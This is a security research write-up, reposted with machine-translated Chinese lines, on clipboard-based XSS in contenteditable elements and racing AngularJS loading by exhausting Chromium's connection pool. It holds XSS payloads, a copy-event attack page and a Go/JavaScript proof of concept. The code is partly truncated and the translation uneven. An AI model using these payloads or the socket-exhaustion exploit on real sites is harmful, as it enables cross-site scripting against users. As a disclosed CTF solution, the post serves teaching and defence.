DOM-based race condition: racing in the browser for fun

Disclaimer 免責聲明

All projects mentioned in this blog post have been contacted, and I confirmed that the behavior described in this article is either working as intended, already fixed, or will not be fixed.


The browser loads elements in the HTML from top to bottom, and some JavaScript libraries retrieve data or attributes from the DOM after the page has been completely loaded.
浏览器从上到下加载 HTML 中的元素,一些 JavaScript 库在页面完全加载后从 DOM 中检索数据或属性。

Because of how the contenteditable attribute works, we might have a race condition in applications that use those JavaScript libraries with the contenteditable element, depending on how the page loads the library.
由于该 contenteditable 属性的工作方式,在将这些 JavaScript 库与 contenteditable 元素一起使用的应用程序中,我们可能会遇到争用条件,具体取决于页面加载库的方式。

In this article, I’ll explain how it’s possible and how to increase the timing window of this race.

The challenge 挑战

On the October 6th, I posted the following XSS challenge.
10 月 6 日,我发布了以下 XSS 挑战。

The intended solution for this challenge looks like this.

Clipboard-based XSS (aka Copy & Paste XSS)
基于剪贴板的 XSS(又名复制和粘贴 XSS)

To explain the intended solution, I must explain the clipboard-based XSS.
为了解释预期的解决方案,我必须解释基于剪贴板的 XSS。

In 2020, Michał Bentkowski published excellent research regarding the XSS that the clipboard involves.
2020 年,Michał Bentkowski 发表了关于剪贴板涉及的 XSS 的优秀研究。

This research is focused on exploitation against the contenteditable attribute and the paste event handlers.
本研究的重点是针对 contenteditable 属性和 paste 事件处理程序的利用。

Basically, the following snippet is vulnerable to the clipboard-based XSS:
基本上,以下代码段容易受到基于剪贴板的 XSS 的攻击:

<input placeholder="Paste here" id="pasted"/>
document.addEventListener('paste', event => {
    const data = event.clipboardData.getData('text/html');
    pasted.innerHTML = data;

It can be exploited using the following page:

<button onclick="copy()">Click</button>
    document.addEventListener('copy', event => {
        event.clipboardData.setData('text/html', '<img src onerror=alert(1)>');
        alert('Please paste the copied contents into the vulnerable page');
    function copy() {

He also reported that the following page can be vulnerable to the clipboard-based XSS, using the vulnerability in the sanitizer of the browser:
他还报告说,使用浏览器清理程序中的漏洞,以下页面可能容易受到基于剪贴板的 XSS 的攻击:

<div contenteditable></div>

This was possible because:

  1. The browser allows the text/html to be pasted as the HTML instead of the plain text.1
    浏览器允许将 text/html 粘贴为 HTML 而不是纯文本。 1
  2. To prevent the XSS, the browser sanitized the contents of the text/html data.
    为了防止 XSS,浏览器清理 text/html 了数据内容。
  3. However, there were flaws in this sanitizer, allowing him to bypass it and achieve XSS or various impacts.
    然而,这种消毒剂存在缺陷,使他能够绕过它并实现 XSS 或各种影响。

When writing this article, there are no known ways to bypass this sanitizer, and using the contenteditable element alone wouldn’t cause the XSS.
在撰写本文时,没有已知的方法可以绕过此清理程序,并且单独使用该 contenteditable 元素不会导致 XSS。

However, when sanitizing the pasted contents, Chromium uses the deny-list approach to prevent XSS instead of the allow-list approach, meaning that any attributes that don’t cause XSS are allowed, including custom attributes supported by the library.2
但是,在清理粘贴的内容时,Chromium 会使用拒绝列表方法而不是允许列表方法来阻止 XSS,这意味着允许任何不会导致 XSS 的属性,包括库支持的自定义属性。 2

third_party/blink/renderer/core/dom/ line 2545-2550  third_party/blink/renderer/core/dom/ 2545-2550路

bool Element::IsScriptingAttribute(const Attribute& attribute) const {
  return IsEventHandlerAttribute(attribute) ||
         IsJavaScriptURLAttribute(attribute) ||
         IsHTMLContentAttribute(attribute) ||

This behavior can be used to exploit libraries that assume the contents of DOM to be trusted.
此行为可用于利用假定 DOM 内容受信任的库。

For example, projects such as rails-ujs or Kanboard could be exploited by pasting data-* attributes into the contenteditable element. (CVE-2023-23913CVE-2023-32685)
例如,可以通过将 data-* 属性粘贴到 contenteditable 元素中来利用 rails-ujs 或 Kanboard 等项目。(CVE-2023-23913、CVE-2023-32685)

ng-* attributes ng-* 属性

Let’s get back to the challenge.

At this point, you may have noticed that AngularJS uses ng-* attributes to control its behavior.
此时,您可能已经注意到 AngularJS 使用 ng-* 属性来控制其行为。

For example, when opened, the following snippet will execute alert(1).3
例如,打开后,以下代码片段将执行 alert(1) 。 3

<html ng-app>
  <script src=""></script>
  <div ng-init="constructor.constructor('alert(1)')()"></div>

So, you may think that by pasting the ng-* attributes into the challenge page, we can pop an alert.
因此,您可能认为通过将 ng-* 属性粘贴到挑战页面中,我们可以弹出警报。

But, this is not the case for AngularJS.
但是,AngularJS 并非如此。

Target of event listeners

To make the difference obvious, I’ll explain the vulnerability in rails-ujs (CVE-2023-23913). This vulnerability also depends on the existence of the contenteditable element and can be exploited by tricking the victim pasting the malicious data into the contenteditable element.
为了使区别显而易见,我将解释 rails-ujs 中的漏洞 (CVE-2023-23913)。此漏洞还取决于元素的存在,可以通过诱骗受害者将恶意数据粘贴到 contenteditable contenteditable 元素中来利用。

In rails-ujs, they used the document.addEventListener("click"... to handle clicks instead of adding event listeners to each element upon loading the page.
在 rails-ujs 中,他们使用 来 document.addEventListener("click"... 处理点击,而不是在加载页面时向每个元素添加事件侦听器。

actionview/app/javascript/rails-ujs/utils/event.js line 71-80  actionview/app/javascript/rails-ujs/utils/event.js 71-80路

const delegate = (element, selector, eventType, handler) => element.addEventListener(eventType, function(e) {

actionview/app/javascript/rails-ujs/index.js line 106-107  actionview/app/javascript/rails-ujs/index.js 106-107路

  delegate(document, linkClickSelector, "click", handleRemote)
  delegate(document, linkClickSelector, "click", handleMethod)

By using document.addEventListener, this event listener can receive events from any elements in the page, including one added after the rails-ujs is loaded.
通过使用 ,此事件侦听器可以接收来自页面中任何元素的事件 document.addEventListener ,包括加载 rails-ujs 后添加的事件。

So, CVE-2023-23913 could be exploited by simply tricking the victim to paste the malicious data to the contenteditable element after the page is loaded.
因此,CVE-2023-23913 可以通过简单地诱骗受害者在页面加载后将恶意数据粘贴到 contenteditable 元素中来利用。

However, AngularJS adds the event listener to each element with ng-* attributes after the DOMContentLoaded event is fired.
但是,AngularJS 会在 DOMContentLoaded 触发事件后将事件侦听器添加到每个具有 ng-* 属性的元素中。

src/ng/directive/ngEventDirs.js line 59-89  src/ng/directive/ngEventDirs.js 59-89号线

function createEventDirective($parse, $rootScope, $exceptionHandler, directiveName, eventName, forceAsync) {
  return {
    restrict: 'A',
    compile: function($element, attr) {
      var fn = $parse(attr[directiveName]);
      return function ngEventHandler(scope, element) {
        element.on(eventName, function(event) {
  on: function jqLiteOn(element, type, fn, unsupported) {
    var addHandler = function(type, specialHandlerWrapper, noEventListener) {
      var eventFns = events[type];

      if (!eventFns) {
        eventFns = events[type] = [];
        eventFns.specialHandlerWrapper = specialHandlerWrapper;
        if (type !== '$destroy' && !noEventListener) {
          element.addEventListener(type, handle);


This means that simply pasting the following payload into the challenge page doesn’t work.

<div ng-app><div ng-click="constructor.constructor('alert(1)')()">Click me</div></div>

HTML loading order HTML 加载顺序

Before going further, I must explain how the browser loads an HTML document.
在继续之前,我必须解释浏览器如何加载 HTML 文档。

The browser normally loads the HTML document from top to bottom.4
浏览器通常从上到下加载 HTML 文档。 4

For example: 例如:

  <div id="test"></div>
    document.getElementById("test").innerHTML = "<h1>Hello world!</h1>";

Assuming the HTML above is passed to the browser, the browser loads <div> first, then evaluates the JavaScript in the <script> tag later.
假设将上面的 HTML 传递给浏览器,则浏览器 <div> 会先加载,然后再评估 <script> 标记中的 JavaScript。

DOM-based race condition: racing in the browser for fun

So, if we reverse the order of <div> and <script>, the following error occurs:
因此,如果我们颠倒 <div> 和 <script> 的顺序,则会出现以下错误:

Uncaught TypeError: Cannot set properties of null (setting 'innerHTML')
    at [first line of the JavaScript]

This is because of the ordering of loading; when the <script> tag is loaded, and the JavaScript is evaluated, the <div id="test"> element is not loaded yet.
这是因为加载的顺序;加载 <script> 标记并计算 JavaScript 时, <div id="test"> 元素尚未加载。

So, document.getElementById("test") returns null, and access to the innerHTML property fails.
因此,返回 null , document.getElementById("test") 并且对 innerHTML 该属性的访问将失败。

DOM-based race condition: racing in the browser for fun

Racing with the AngularJS
使用 AngularJS 赛车

Back to the challenge, we have the following HTML:
回到挑战,我们有以下 HTML:

<div contenteditable>
<script src=""></script>

As AngularJS evaluates ng-* attributes and other expressions once loaded, we must insert an element with the XSS payload before the AngularJS is loaded.
由于 AngularJS 在加载后会评估 ng-* 属性和其他表达式,因此我们必须在加载 AngularJS 之前插入一个带有 XSS 有效负载的元素。

Since the script tag is placed below the contenteditable element, AngularJS is loaded after the contenteditable element is rendered.
由于脚本标签放置在 contenteditable 元素下方,因此在 contenteditable 元素渲染后加载 AngularJS。

So, there is approximately a 30 ms delay after the contenteditable element is rendered but before the AngularJS is fully loaded.
因此,在 contenteditable 元素渲染之后但在 AngularJS 完全加载之前,大约有 30 毫秒的延迟。

DOM-based race condition: racing in the browser for fun

This race window is too tiny to exploit, but we have to trick the victim into pasting within this time window.

The intended solution 预期的解决方案

30ms is enough when exploiting a race condition where an attacker can repeatedly attempt the exploit. Still, this time, we need to trick the victim into pasting the malicious data into the contenteditable element.
在利用攻击者可以重复尝试利用的争用条件时,30 毫秒就足够了。不过,这一次,我们需要诱骗受害者将恶意数据粘贴到元素中 contenteditable 。

Since it’s hard to trick the victim into pasting the contents within this time window, we need to extend it for the race.

After the previous graph’s Parse HTML section, the browser must fetch the AngularJS from the remote host if it’s not cached already.
在上一个图形 Parse HTML 的部分之后,浏览器必须从远程主机获取 AngularJS(如果尚未缓存)。

DOM-based race condition: racing in the browser for fun

Luckily, there is a technique to delay requests by exhausting the connection pool.

XS-Leaks Wiki has a good explanation about this technique, so I’ll explain the summary of it here.
XS-Leaks Wiki 对这种技术有很好的解释,所以我将在这里解释它的摘要。

In Chromium, there are hard limits to the amount of connections that can be established simultaneously.
在 Chromium 中,可以同时建立的连接数量有硬性限制。

For TCP, it is limited to 256 connections, as shown in the snippet below.5
对于 TCP,它限制为 256 个连接,如下面的代码片段所示。 5

net/socket/ line 32-36  net/socket/ 32-36号线

// Limit of sockets of each socket pool.
int g_max_sockets_per_pool[] = {

As the connection pool is shared across all hosts, if we open 256 connections that won’t be disconnected (e.g., by not sending the response), no further requests can be established, and the browser will wait until one of these connections is closed.
由于连接池在所有主机之间共享,如果我们打开 256 个不会断开连接的连接(例如,通过不发送响应),则无法建立进一步的请求,浏览器将等待其中一个连接关闭。

DOM-based race condition: racing in the browser for fun

This is useful to pause the loading of the AngularJS and extend the race timing window, but we still need to open the connection to the host of the challenge page. Otherwise, the challenge page won’t load, and the contenteditable element won’t be rendered.
这对于暂停 AngularJS 的加载和延长比赛计时窗口很有用,但我们仍然需要打开与挑战页面主机的连接。否则,质询页面将不会加载,并且不会呈现元素 contenteditable 。

To deal with this, we can cancel the one connection after exhausting the connection pool and opening the challenge page, then quickly open another connection.

By doing so, the connection pool works as the following:

  1. After exhausting the connection pool, no further connections can be established. So, the challenge page will be kept from loading.

    DOM-based race condition: racing in the browser for fun
  2. Several seconds after opening the challenge page, we cancel one connection (①) and quickly open another connection (③). At this point, the connection to the challenge page is established (②), but the browser still needs to fetch and parse the HTML.
    打开挑战页面几秒钟后,我们取消一个连接((1))并快速打开另一个连接((3))。此时,与质询页面的连接已经建立((2)),但浏览器仍然需要获取和解析 HTML。

    DOM-based race condition: racing in the browser for fun
  3. Once the challenge page is fetched and parsed, the browser queues the connection to the host of the AngularJS file (②) and finishes the connection to the challenge page. (①)
    获取并解析质询页面后,浏览器会将与 AngularJS 文件主机的连接排入队列 ((2)) 并完成与质询页面的连接。(①)
    DOM-based race condition: racing in the browser for fun
  4. Because we queued another connection in the previous step, the connection pool is exhausted again, and the AngularJS file will not be fetched.
    因为我们在上一步中对另一个连接进行了排队,所以连接池再次耗尽,并且不会获取 AngularJS 文件。

    DOM-based race condition: racing in the browser for fun
  5. At this point, the contenteditable element is already rendered, so the victim can paste the malicious data without rushing.
    此时, contenteditable 元素已经呈现,因此受害者可以粘贴恶意数据而无需急于求成。
  6. After several seconds, we cancel the connection opened in step 2 (①). By doing so, the browser can open the connection to the host of the AngularJS file (②) and evaluate the contents. Since the victim pasted the malicious data into the contenteditable element before AngularJS is loaded, it will evaluate the pasted expressions, and alert(document.domain) will be executed.
    几秒钟后,我们取消在步骤 2 ((1)) 中打开的连接。通过这样做,浏览器可以打开与 AngularJS 文件主机的连接 ((2)) 并评估内容。由于受害者在加载 AngularJS 之前将恶意数据粘贴到 contenteditable 元素中,因此它将评估粘贴的表达式,并 alert(document.domain) 执行。

    DOM-based race condition: racing in the browser for fun

By putting it all together, this challenge can be solved by using the following code:6
通过将它们放在一起,可以使用以下代码来解决此挑战: 6

package main

import (

  SERVER_IP = ""

func attack(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Type", "text/html")
        fmt.Fprintf(w, `
async function fill_sockets(amount) {
        return new Promise((resolve, reject) => {
                let count = 0;
                const intervalId = setInterval(() => {
                        if(count >= amount) {
                        fetch('http://%s:' + (28000 + count) + '/sleep', {mode: "no-cors", cache: "no-store"});
                }, 5);

async function swap_connections(func, delay) {
        let timer = new AbortController();
        setTimeout(() => {
                timer = new AbortController();
                setTimeout(() => timer.abort(), delay*1000);
                fetch('http://%[1]s:28255/sleep', {mode: "no-cors", cache: "no-store", signal: timer.signal});
        }, 1000);
        fetch('http://%[1]s:28255/sleep', {mode: "no-cors", cache: "no-store", signal: timer.signal});

async function attack() {
        document.write("Filling the connection pool...<br>");
        await fill_sockets(255);
        document.write("Opening the victim page...<br>");
        swap_connections(() => {
      '', '_blank');
        }, 10);

document.addEventListener('copy', (e) => {
        e.clipboardData.setData('text/html', '<br><div data-ng-app>{{constructor.constructor("alert(document.domain)")();}}</div>');
        document.write("Copied the payload<br>");
<button onclick=attack()>Attack</button>`, SERVER_IP)

func sleep(w http.ResponseWriter, r *http.Request) {
        time.Sleep(24 * time.Hour * 365)

func handleRequests() {
        http.HandleFunc("/", attack)
        http.HandleFunc("/sleep", sleep)

        for i := 1; i <= 256; i++ {
                go http.ListenAndServe(":"+strconv.Itoa(28000+i), nil)
        log.Fatal(http.ListenAndServe(":28000", nil))

func main() {

This technique is not limited to AngularJS; instead, it can be applied to any JavaScript library with the following conditions:
这种技术不仅限于 AngularJS;相反,它可以应用于任何具有以下条件的 JavaScript 库:

  1. The library retrieves data from the DOM after loading the page.
    加载页面后,该库从 DOM 中检索数据。
  2. The library doesn’t ignore elements under the contenteditable element.
    该库不会忽略元素 contenteditable 下的元素。
  3. The user of the library uses the contenteditable element and loads the library afterward.
    库的用户使用该 contenteditable 元素,然后加载该库。

Also, It’s important to note that some vendors consider it the responsibility of the developers using libraries not to use the libraries with the contenteditable element.
此外,需要注意的是,一些供应商认为使用库的开发人员有责任不将库与 contenteditable 元素一起使用。

Appendix: Unintended Solutions

When releasing the challenge, I thought it was impossible to exploit this tiny race window without expanding it by using the technique above, or at least impossible to exploit it manually. Still, exploiting it was possible if you tried hard enough.

DOM-based race condition: racing in the browser for fun

@LiveOverflow and @stueotue found a way to exploit this tiny race window:

@LiveOverflow sent a solution that repeats pasting, sometimes winning this race.

And @stueotue sent a solution that uses drag and drop, inspired by the Renwa’s write-up. It also sometimes wins the race if the timing is matched.

Both solutions are excellent, and I’m really impressed by their creativity.

This challenge was the first XSS challenge that I posted on my account, so it was a good lesson for me not to underestimate the creativity of the community 😉
这个挑战是我在帐户上发布的第一个 XSS 挑战,所以这对我来说是一个很好的教训,不要低估社区;)的创造力

  1. The pasted data is inserted into the DOM, unlike having the value in the value property like the <input> tag. For example, pasting <a href="">Test</a> into the contenteditable element as text/html will create the <a> tag with as the href attribute. ↩︎
    粘贴的数据入到 DOM 中,这与 <input> 在 value 属性中具有值(如标记)不同。例如,粘贴 <a href="">Test</a> 到 contenteditable 元素中,将 text/html 创建 <a> 带有 as href 属性的标记。↩︎

  2. It’s interesting that Firefox seems to be using an allow-list approach when sanitizing the contents. I think there might be a way to bypass the sanitizer of Chromium. ↩︎
    有趣的是,Firefox在清理内容时似乎使用了允许列表方法。我认为可能有一种方法可以绕过 Chromium 的消毒剂。↩︎

  3. If you want to know why constructor.constructor('alert(1)')() is used instead of the usual alert(1), please read this article: ↩︎
    如果你想知道为什么 constructor.constructor('alert(1)')() 用而不是通常 alert(1) 的,请阅读这篇文章: ↩︎

  4. There are some exceptions, such as the defer attribute of the <script> tag, but I won’t explain them in this article. ↩︎
    有一些例外,例如 <script> 标签的 defer 属性,但我不会在本文中解释它们。↩︎

  5. According to XS-Leaks Wiki, UDP is limited to 6000 connections, so if HTTP/3 is enabled, you may need to open many more connections to exhaust the connection pool. ↩︎
    根据 XS-Leaks Wiki 的说法,UDP 限制为 6000 个连接,因此如果启用了 HTTP/3,您可能需要打开更多连接以耗尽连接池。↩︎

  6. To prevent connection reuse of HTTP/2, this PoC uses 256 different ports instead of sending requests to the same port. (This code is a bit dirty, but it works! … at least on my machine.) ↩︎
    为了防止 HTTP/2 的连接重用,此 PoC 使用 256 个不同的端口,而不是向同一端口发送请求。(这段代码有点脏,但行得通!至少在我的机器上。↩︎

原文始发于RyotaK's Blog:DOM-based race condition: racing in the browser for fun

版权声明:admin 发表于 2023年10月31日 上午8:49。
转载请注明:DOM-based race condition: racing in the browser for fun | CTF导航